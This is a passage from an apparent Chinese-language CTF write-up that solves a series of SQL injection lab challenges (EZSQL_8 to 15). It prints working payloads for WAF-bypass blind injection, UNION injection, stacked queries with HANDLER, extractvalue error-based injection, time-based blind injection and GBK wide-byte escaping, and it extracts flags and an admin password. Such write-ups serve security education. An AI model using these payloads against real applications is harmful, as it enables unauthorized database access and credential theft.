  3. 每个字符只需 ~7 次请求(二分),42 个字符总共约 300 次请求即可提取完整 flag

EZSQL_8(字符型 SQL 注入 - WAF 过滤关键词 + 报错回显 + 大于等于号二分盲注)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 测试 admin'#,返回 Welcome admin,单引号和注释符可用 测试 admin')#,页面返回完整的 SQL 报错信息:SELECT * FROM flag WHERE name = 'admin')#' AND passwd = 'x',直接泄露了:

  • 表名:flag
  • 列名:namepasswd
  • 查询结构:无括号包裹,单引号闭合 测试 admin' or '1'='1,返回 非法sql,存在 WAF 关键词过滤。逐一测试发现 selectunionfromwhereandor>< 等全部被拦截 但 >= 运算符未被过滤!利用 >= 配合括号构造二分盲注。关键发现:MySQL 中 =右结合的,admin'=(expr)=val# 会被解析为 admin'=(expr=val)#,配合 >= 构造布尔判断:
1
?username=admin'=(mid(passwd,1,1)>='a')#&password=x
  • 如果 mid(passwd,1,1) >= 'a' 为真(1),则 WHERE name = ('admin'=1)WHERE name = 0,‘admin’ 转为 0 匹配 → 返回 Welcome admin
  • 如果为假(0),则 WHERE name = 1,无匹配行 → 返回 Login failed 但直接提取 passwd 列得到的是 admin123(管理员密码),不是 flag。通过枚举发现表中还有 secret 列:
1
?username=admin'=(mid(secret,1,1)>='a')#&password=x

返回 Welcome admin,确认 secret 列存在且首字符 >= ‘a’ 对 secret 列进行二分盲注提取,每个字符约 7 次请求(32~126 二分),示例:

1
?username=admin'=(mid(secret,1,1)>='A')#&password=x

返回 Welcome admin → 第 1 个字符 >= ‘A’

1
?username=admin'=(mid(secret,1,1)>='G')#&password=x

返回 Login failed → 第 1 个字符 < ‘G’,即为 ‘F’ 提取全部 42 个字符,得到 flag{a11e2e0c-1cfd-45ad-a5ea-3596e97e1534}

复盘:这题有三个关键点:

  1. 报错回显泄露了完整的查询结构(表名、列名),大幅降低了信息收集难度
  2. WAF 过滤了 >< 但遗漏了 >=,利用 >= 实现二分查找
  3. MySQL = 的右结合特性使得 admin'=(expr)# 可以构造布尔 oracle,flag 存储在 secret 列而非 passwd

EZSQL_9(数字型 UNION 联合查询注入 - 无过滤)

访问靶机,页面是一个"Employee Query"员工查询系统,输入 Employee ID 返回 id、name、department、salary 四个字段 正常查询 id=1,返回员工 Alice 的信息,确认后端有数据且查询正常 测试注入,id=1 and 1=1 返回正常数据,id=1 and 1=0 返回"未找到员工信息",确认存在数字型注入(无需引号闭合) 直接使用 UNION SELECT 测试:

1
?id=-1 union select 1,2,3,4

返回 1、2、3、4 四个值,确认查询有 4 列,且四个位置均可回显。本题无任何 WAF 过滤unionselectfromwhere 等关键词均可正常使用 获取数据库名和版本:

1
?id=-1 union select 1,database(),3,4

数据库名为 user,版本为 MariaDB 10.4.13 枚举所有表:

1
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

两张表:employeesflag 查看 flag 表的列名:

1
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'

两列:idflag 直接 dump flag 表:

1
?id=-1 union select 1,group_concat(id,0x3a,flag),3,4 from flag

返回 1:flag{c53dc831-e6b6-4747-bd6d-68e101023c14},成功获得 flag

复盘:这题是最基础的数字型 UNION 注入,没有任何过滤。与前面几题的字符型注入不同,数字型注入不需要引号闭合和注释符,直接用 and 1=1 / and 1=0 确认注入点后即可 UNION 提取数据。作为 EZSQL 系列中少数无 WAF 的题目,主要考察 UNION 注入的基本流程

EZSQL_10(字符型 UNION 联合查询注入 - 单引号闭合 + 无过滤)

访问靶机,页面是一个"Employee Query"员工查询系统,输入 Employee ID 返回 id、name、department、salary 四个字段 正常查询 id=1 返回员工 Alice 的信息 测试数字型注入 id=1 and 1=1id=1 and 1=0,两者都返回 Alice,说明 and 关键词可能被过滤或注入类型不是数字型 测试字符型注入:

1
?id=1' and '1'='1

返回 Alice

1
?id=1' and '1'='0

返回"未找到员工信息",确认存在字符型注入,单引号闭合 使用 || 运算符验证:

1
?id=1'||'1'='1

返回所有员工数据,进一步确认注入点 直接 UNION 注入,使用 # 注释:

1
?id=-1' union select 1,2,3,4#

返回 1、2、3、4,确认 4 列且全部可回显。本题无 WAF 过滤 获取数据库名:

1
?id=-1' union select 1,database(),3,4#

数据库名为 user 枚举所有表:

1
?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

两张表:employeesflag 查看 flag 表的列名:

1
?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'#

两列:idflag 直接 dump flag 表:

1
?id=-1' union select 1,group_concat(id,0x3a,flag),3,4 from flag#

返回 1:flag{9c876dcf-ce40-48b1-999a-0fddc3267d2f},成功获得 flag

复盘:这题是基础的字符型 UNION 注入。与 EZSQL_9(数字型)的区别在于需要单引号闭合和 # 注释。做题时如果数字型 and 1=1/and 1=0 无效,应及时切换到字符型测试

EZSQL_11(字符型 SQL 注入 - WAF 过滤 select + 堆叠注入 + handler 命令读取数据)

访问靶机,页面是一个"Employee Query"员工查询系统,输入 Employee ID 返回 id、name、department、salary 四个字段 正常查询 id=1 返回员工 Alice 的信息 测试注入类型,id=1' and '1'='1 返回正常,id=1' and '1'='0 返回"未找到",确认字符型注入,单引号闭合 测试 UNION 注入 id=-1' union select 1,2,3,4#,返回 Illegal SQL injection,存在 WAF 逐一测试关键词,发现 select 被过滤,但 unionfromwhereandorshowdescribehandler 均可用 尝试各种 select 绕过(大小写、注释、编码、空白字符)均失败 关键发现:分号 ; 可用,支持堆叠注入(stacked queries)! 使用 show 命令获取表结构:

1
?id=-1';show tables#

返回 employeesflag 两张表

1
?id=-1';describe flag#

返回 flag 表结构:id(int)、flag(varchar(255)) 由于 select 被完全过滤,无法使用 UNION 或子查询读取数据。改用 MySQL 的 handler 命令——它是 select 的替代方案,可以直接读取表数据:

1
?id=-1';handler flag open;handler flag read first#

返回 1flag{586be8f6-1f8b-432c-a6a6-7fe1b7a2af2d},成功获得 flag

复盘:这题的核心是 select 关键词被严格过滤,常规绕过全部失效。突破口是堆叠注入 + handler 命令

  1. handler 是 MySQL/MariaDB 特有的表读取命令,语法类似 handler 表名 open; handler 表名 read first/next/last
  2. WAF 只拦截了 select,遗漏了 handler 等替代命令
  3. 堆叠注入(; 分隔多条语句)使得可以先 show tables 探测结构,再 handler 读取数据

EZSQL_12(字符型 SQL 注入 - 报错回显 + extractvalue 错误注入)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 测试 admin'#,返回 Login successful.,单引号闭合和 # 注释可用 测试 admin')#,返回完整 SQL 报错:near ')#' AND password = 'x'',确认存在括号包裹和报错回显 登录成功页面只显示 “Login successful.” 不显示数据,UNION 注入虽然可行但数据无法回显。改用报错注入 使用 extractvalue 函数触发 XPath 错误,将查询结果嵌入错误信息中:

1
?username=admin' and extractvalue(1,concat(0x7e,version()))#&password=x

返回 XPATH syntax error: '~10.4.13-MariaDB',确认报错注入可用 extractvalue 的错误输出有 32 字符长度限制,需要用 substr 分段提取 枚举表名:

1
?username=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#&password=x

返回 ~flag,users 查看 flag 表结构:

1
?username=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')))#&password=x

返回 ~id,flag 先获取 flag 长度:

1
?username=admin' and extractvalue(1,concat(0x7e,(select length(flag) from flag)))#&password=x

返回 ~42,共 42 个字符 分段提取 flag(每段最多 32 字符):

1
?username=admin' and extractvalue(1,concat(0x7e,(select substr(flag,1,15) from flag)))#&password=x

返回 ~flag{42710fc0-a

1
?username=admin' and extractvalue(1,concat(0x7e,(select substr(flag,16,15) from flag)))#&password=x

返回 ~ff5-4e3e-8b53-4

1
?username=admin' and extractvalue(1,concat(0x7e,(select substr(flag,31,15) from flag)))#&password=x

返回 ~ab3454aab86} 拼接得到 flag{42710fc0-aff5-4e3e-8b53-4ab3454aab86}

复盘:这题的核心是报错注入。页面不显示查询数据,但 SQL 错误信息会被完整输出。extractvalue(1,concat(0x7e,子查询)) 通过 XPath 语法错误将子查询结果泄露到错误信息中。注意 32 字符长度限制,需要配合 substr 分段提取

EZSQL_13(字符型 SQL 注入 - 布尔盲注 - 无数据显示)

访问靶机,页面是一个"Employee Query"员工查询系统,输入 Employee ID 查询 正常查询 id=1 返回"查询成功",但页面不显示任何数据(无 <td> 标签) 测试 id=1 and 1=1id=1 and 1=0,两者响应哈希相同,说明数字型注入无效(and 可能被过滤) 测试字符型注入,id=1' and '1'='1 返回"查询成功",id=1' and '1'='0 返回"未找到员工信息",且两者响应哈希不同。确认存在字符型布尔盲注 无 WAF 过滤,unionselectfrom 等关键词均可使用,但页面不显示数据,UNION 注入无法回显。采用布尔盲注逐字符提取 判断 flag 长度:

1
?id=1' and (select length(flag) from flag)=42#

返回"查询成功",flag 长度为 42 逐字符提取 flag,通过判断响应是"查询成功"(true)还是"未找到"(false)来确定每个字符:

1
?id=1' and (select substr(flag,1,1) from flag)='f'#

返回"查询成功" → 第 1 个字符为 ‘f’ 编写脚本对每个位置遍历 a-z0-9{}_ 字符集,42 个字符约需 42×35 ≈ 1500 次请求 提取全部 42 个字符,得到 flag{fd8914fb-d709-48a6-85e5-cbb368984e7f}

复盘:这题的核心是布尔盲注——页面不显示查询数据,只能通过响应状态(“查询成功” vs “未找到”)判断条件真假。与报错注入不同,布尔盲注需要逐字符遍历提取数据,请求量较大但逻辑简单。字符型注入需要用 ' 闭合和 # 注释

EZSQL_14(字符型 SQL 注入 - 时间盲注 - 无数据显示)

访问靶机,页面是一个"Employee Query"员工查询系统,输入 Employee ID 查询 正常查询 id=1 返回"The query results have been sent to your email.",页面不显示任何数据 测试 id=1' and '1'='1id=1' and '1'='0,两者响应内容完全相同(MD5 哈希一致),无布尔差异 尝试时间盲注:

1
?id=1' and sleep(3)#

响应延迟 3 秒,确认存在字符型时间盲注sleep() 函数可用,# 注释有效 无 WAF 过滤,selectunionfromwhere 等关键词均可正常使用 确认数据库名,sleep 条件为真时延迟 3 秒:

1
?id=1' and sleep(if(database()='user',3,0))#

返回延迟 3 秒,数据库名为 user 编写二分查找脚本,利用 ascii(substr(...)) 配合 sleep(if(...)) 逐字符提取数据 枚举表名,首字符 ASCII > 100(对应 ’e’),确认 employees,flag 两张表:

1
?id=1' and sleep(if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100,3,0))#

查看 flag 表列名,确认 id,flag 两列:

1
?id=1' and sleep(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,1))>100,3,0))#

逐字符提取 flag 值,每个字符通过二分查找(~7 次请求/字符),42 个字符约 300 次请求:

1
?id=1' and sleep(if(ascii(substr((select flag from flag),1,1))>100,3,0))#

提取全部 42 个字符,得到 flag{eaaa6edb-1425-4cca-9060-4db595c17008}

复盘:这题的核心是时间盲注——页面不显示查询数据,且布尔条件无响应差异,只能通过 sleep() 函数的延迟来判断条件真假。与布尔盲注相比,时间盲注的每个请求都需要等待 sleep 时间,提取速度更慢。字符型注入需要用 ' 闭合和 # 注释。做 SQL 注入题遇到无数据显示且无布尔差异时,时间盲注是标准解法

EZSQL_15(字符型 SQL 注入 - 宽字节注入绕过 addslashes + UNION 联合查询注入)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 正常登录 admin / admin123,返回 Welcome admin 测试单引号注入 admin'#,返回 Login failed.,没有报错。尝试各种注入 payload(admin'--+-admin' or '1'='1admin'#)全部返回 Login failed.,说明后端对单引号做了转义处理(addslashes()mysql_real_escape_string()) 关键发现:admin%bf' or 1=1-- - 返回 Welcome admin,说明存在宽字节注入(Wide-Byte Injection)。原理是 addslashes() 在单引号前添加反斜杠 \%5c),而 %bf%5c 在 GBK 编码中是一个合法的双字节字符,反斜杠被"吃掉",单引号 %27 逃逸出来 确定列数,依次测试 1~8 列:

1
?username=-1%bf%27 union select 1,2,3,4-- -&password=x

4 列时返回 Welcome 2,确认查询有 4 列,回显位在第 2 列 获取数据库名和版本:

1
?username=-1%bf%27 union select 1,database(),3,4-- -&password=x

数据库名为 user,版本为 MariaDB 10.4.13 枚举当前数据库的表:

1
?username=-1%bf%27 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -&password=x

只有一张表:flag 查看 flag 表的列名(表名用十六进制 0x666c6167 绕过单引号转义):

1
?username=-1%bf%27 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0x666c6167-- -&password=x

四列:idnamepasswdsecret 直接 dump flag 表:

1
?username=-1%bf%27 union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag-- -&password=x

返回 1:admin:admin123:flag{6746fd7a-7c7e-4681-a63a-2aa67e5b3d80},成功获得 flag

复盘:这题的核心是宽字节注入(Wide-Byte Injection)。后端使用 addslashes() 对单引号进行转义,但在 GBK 编码环境下,%bf%5c 构成一个合法的双字节字符,吞掉了转义用的反斜杠,使单引号逃逸。绕过方式是在注入的单引号前添加 %bf(或其他高字节如 %81~%fe)。防御时应使用 mysql_set_charset() 设置字符集而非 addslashes(),或统一使用参数化查询(Prepared Statements)

EZSQL_16

EZSQL_17

EZSQL_18

EZSQL_19

Licensed under CC BY-NC-SA 4.0